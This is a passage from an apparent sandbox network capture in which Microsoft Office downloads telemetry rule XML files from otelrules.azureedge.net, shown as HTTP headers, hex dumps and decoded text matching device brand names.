T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.4	63742	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:00 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:00 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:00 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: e5c4cfa3-b01e-0001-3cff-2b46e2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061600Z-16dc884887b5dxtghC1DFW9q7c00000001t0000000005b2k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:00 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.4	63744	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:00 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:00 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:00 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: b1489392-e01e-0099-2a74-2cda8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061600Z-r159446fcd7r47cfhC1DFW56w800000000x0000000005xfx x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:00 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.4	63745	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:00 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:00 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:00 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: d33f60ae-f01e-0085-74ec-2b88ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061600Z-16dc884887bj2dr2hC1DFWk11000000001r00000000077y0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:00 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.4	63746	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:00 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:00 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:00 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 4f0d3f3a-301e-005d-390a-2ce448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061600Z-176bd8f9bc55csg5hC1DFW6yfn00000001x00000000041yp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:00 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.4	63747	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:01 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:01 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:01 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: fd4533cb-201e-005d-3108-2cafb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061601Z-16ccfc49897rwhbvhC1DFWx88g00000001p0000000003us5 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:01 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.4	63750	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:01 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:01 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:01 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 38f7eb3e-301e-006e-6008-2cf018000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061601Z-16dc884887bssjjjhC1DFW2hb400000001gg00000000764m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:01 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.4	63748	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:01 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:01 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:01 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: de0f478a-601e-0032-7838-2ceebb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061601Z-176bd8f9bc5nsp7rhC1DFWgzkc000000017g000000002vm4 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:01 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.4	63749	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:01 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:01 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:01 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: ceff4d6f-101e-007a-10c7-2c047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061601Z-16ccfc49897bnsqjhC1DFWhxb800000001pg00000000dw5b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-02 06:16:01 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.4	63751	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:01 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:01 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:01 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 5d06d88c-b01e-0084-0908-2cd736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061601Z-16dc884887b6mtxqhC1DFW3mk000000001qg0000000055w3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:01 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.4	63752	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:02 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:02 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:02 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 1a876f58-701e-0032-1608-2ca540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061602Z-16ccfc498972c2r2hC1DFWxq6800000001h000000000q1u2 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:02 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.4	63754	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:02 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:02 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:02 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: fcd51785-b01e-0098-6c32-2ccead000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061602Z-r159446fcd77lkv8hC1DFWycvw000000012000000000ap0b x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:02 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.4	63756	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 06:16:02 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 06:16:02 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 06:16:02 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 8494348c-501e-000a-1008-2c0180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T061602Z-16ccfc498979lfwnhC1DFW56w800000001rg00000000envf x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 06:16:02 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 